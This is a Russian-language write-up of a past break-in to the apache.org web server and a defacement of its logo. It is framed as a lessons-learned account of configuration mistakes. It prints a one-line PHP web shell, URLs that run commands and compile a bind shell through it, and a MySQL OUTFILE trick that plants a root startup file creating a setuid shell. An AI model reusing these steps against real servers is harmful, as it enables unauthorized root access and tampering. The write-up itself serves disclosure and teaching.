|
подробности взлома APACHE.ORG
Team Void
ПЕРЕД НАЧАЛОМ ЧТЕНИЯ
Данный документ не содержит в себе сведения о каких-либо новых уязвимостях, атака опиралась на обычные (и не очень) ошибки в конфигурации системы, которые совершает даже команда apache. Это - важно. Учитесь на чужих ошибках, исправляйте их у себя, так что бы это не пришлось делать другим 8)
ВВЕДЕНИЕ
Данный документ описывает как, в течении приблизительно одной недели, был успешно захвачен рутовый доступ к серверу www.apache.org, и была произведена замена логотипа "Powered by Apache" на "Powered by Microsoft BackOffice". Никаких других изменений в системе не производилось, за исключением тех, что были сделаны для предотвращения повторного проникновения в систему посторониих лиц.
Мы хотим заметить, что проблемы, описанные в данной бумаге, не относятся к проблемам Apache, это лишь ошибки конфигурации (некоторые из них прямо из BugZilla's README, правда в нём содержалось достаточно предупреждений, так что разработчики BugZilla тут не причём). Люди, использующие в качестве httpd Apache, не дожны ощущать беспокойства, поскольку атака не была основана на его уязвимостях.
Поскольку достаточно много серверов используют программное обеспечение Apache, в случае установки бэкдоров на его сервере, они могли бы быть использованы для получения доступа ко многим системам. Этого не должно было случиться, и поэтому нужно было исправлять ошибки как можно скорее. Естественно, обладая правами рута, атакующие не смогли удержаться от заманчивой идеи замены логотипа.
FTPROOT=WWWROOT, ОТКРЫТЫЕ НА ЗАПИСЬ ПАПКИ
В поисках последней версии веб-сервера apache, для сравнения его с предыдущими и выявлениями новых возможностей переполнения буфера, хакер попал на ftp://ftp.apache.org. Там он обнаружил директории веб-сервера http://www.apache.org, доступные на запись.
Таким образом в них был занесён файл wuh.php3, включающий
passthru($cmd);
?>
Команды были исполнены. Что и неудивительно - при наборе из окна браузера
http://www.apache.org/thatdir/wuh.php3?cmd=id
команда id была выполнена. Следующим шагом была подгрузка и компиляция биндшелла, выполненная с помощью http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c, запуск которого можно было осуществить потом командой http://www.apache.org/thatdir/wuh.php3?cmd=./httpd.
ШЕЛЛ
Естественно, в качестве шелла использовался биндшелл, который требовал идентификации пользователя с весьма сложным паролем.
Далее было произведено соединение на 65533 порт, на который был установлен данный шелл, и хакер получил локальный доступ с правами nobody, так как CGI имеет именно такие права.
ВНУТРИ APACHE.ORG BOX
Внутри были обнаружены доступные на запись и исполнение директории
/root
homedirs
apache.org стоит на FreeBSD 3.4. Хакер не хотел использовать какое-либо переполнение буфера или эксплоит, целью было достичь права рута с помощью ошибок конфигурации.
MYSQL
В результате старательного поиска было обнаружено, что mysql работает с правами рута и достигаем локально. Поскольку apache.org работает с bugzilla, которому необходим аккаунт mysql, который содержит в своих исходниках имя пользователя и пароль открытым текстом, было достаточно легко получить пару имя пользователя/пароль для базы данных mysql. Хакер подгрузил nportredird и поставил его на приём соединений на порт 23306 со своего IP и передачи их на порт 3306 локального хоста, таким образом предоставив себе возможность пользования собственным клиентом mysql.
ИСПОЛЬЗОВАНИЕ MYSQL ДЛЯ ПОЛУЧЕНИЯ РУТОВСКИХ ПРАВ
Получив доступ к порту 3306 из локального хоста, и используя логин 'bugs' (который по умолчанию имеет полный доступ), возможности хакера мгновенно повысились. Причина сего - невнимательное чтение README-файла Bugzilla, который действительно показывает быстрый способ установки (со всеми Y), но тем не менее содержит множество предупреждений, одно из которых - "не запускайте mysqld под рутом".
Таким образом, используя 'SELECT ... INTO OUTFILE;', хакеру предоставилась возможность создания файлов в любом месте с правами рута. Эти файлы имели доступ 0666, таким образом ничего нельзя было перезаписать, тем не менее, это было явно полезной возможностью.
Какая же польза от этого? Бесполезно создавать доступный для записи .rhosts файл, никакой, даже самый сумасшедший демон rshd не подпустит к себе доступный для записи файл .rhosts. К тому же в данном случае rshd просто не было.
СВОЙ /ROOT/.TSHRC
Тут хакер решил применить трояноподобный трюк. Он создал базу данных с одним полем в 80 символов, и после пары insert'ов и одного select'a он получил файл /root/.rhosts приблизительно следующего содержания:
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
*** ROOT!!! ***
Достаточно просто. Осталось только подождать, пока кто-нибудь не выполнит su -. Правда, благодаря тому, что 9 человек легально имеют права рута, это заняло весьма малый промежуток времени. Оставшееся тоже было довольно просто - под правами рута был сделан быстрый дефэйс, но только после того, как был команде apache был предоставлен краткий отчёт с перечисленными уязвимостями и быстрыми способами их устранения. Через небольшой промежуток времени после дефэйса, этот отчёт был послан одному из администраторов.
КОРРЕКЦИЯ FTPROOT=WWWROOT
Так же перед дефейсом была создана папка ftproot в корневой директории веб-сервера (которая была и корневой ftp-директорией), и 'dist' была скопирована в 'ftproot/dist', корень ftp-директории сменили на этот новый ftproot, оставив открытые на запись каталоги защищёнными, но не нарушив нормальной работы ссылок.
КРАТКО ОБ ОШИБКАХ
ftproot=wwwroot, директории с доступом на запись, позволившие подгрузить и выполнить php3 - скрипты, mysqld, работающий под рутом, с полноправным логином без пароля.
ПОСЛЕДСТВИЯ
Возможно внесение бэкдоров в файлы посредством редактирования исходных текстов, что позволило бы нанести ущерб всем пользователям, их скачавшим.
rchik.
|